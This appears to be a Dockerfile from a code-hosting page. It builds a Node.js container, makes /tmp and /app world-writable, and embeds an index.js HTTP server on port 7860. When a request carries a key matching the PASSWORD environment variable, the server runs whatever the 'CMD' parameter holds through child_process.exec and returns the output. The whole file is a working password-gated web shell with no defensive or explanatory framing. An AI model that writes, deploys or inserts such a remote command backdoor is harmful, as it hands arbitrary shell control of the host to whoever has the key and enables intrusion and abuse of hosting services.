File size: 1,635 Bytes
4552f75
 
 
 
 
 
 
66daa80
4552f75
 
 
ecb3f17
4552f75
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
FROM node:20-bullseye
ENV PORT 7860
RUN apt-get update && \
    apt-get upgrade -y && \
    apt-get install -y git wget curl && \
    apt-get clean
RUN chmod -R u+rwx,g+rwx,o+rwx /tmp
RUN mkdir -p /app && chmod -R u+rwx,g+rwx,o+rwx /app
WORKDIR /app
RUN npm install axios --save

COPY  <<EOF /app/index.js
const http = require('http');
const { exec } = require('child_process');
const url = require('url');
const querystring = require('querystring');

const server = http.createServer((req, res) => {
  // 解析请求中的查询参数
  const parsedUrl = url.parse(req.url);
  const query = querystring.parse(parsedUrl.query);
  
  // 处理 POST 请求数据
  let body = '';
  req.on('data', chunk => {
    body += chunk.toString();
  });
  
  req.on('end', () => {
    // 合并 GET 和 POST 数据,模拟 PHP 的 $_REQUEST
    const postData = querystring.parse(body);
    const requestData = { ...query, ...postData };
    
    if (process.env.PASSWORD && requestData[process.env.PASSWORD] !== undefined) {
      // 执行命令
      if (requestData.CMD) {
        exec(requestData.CMD, (error, stdout, stderr) => {
          res.writeHead(200, { 'Content-Type': 'text/plain' });
          res.end(stdout || stderr);
        });
      } else {
        res.writeHead(200, { 'Content-Type': 'text/plain' });
        res.end('No command specified');
      }
    } else {
      res.writeHead(403, { 'Content-Type': 'text/plain' });
      res.end('Access denied');
    }
  });
});

const PORT = process.env.PORT || 7860;
server.listen(PORT, () => {
  console.log(`Server running on port ${PORT}`);
});

EOF

CMD node /app/index.js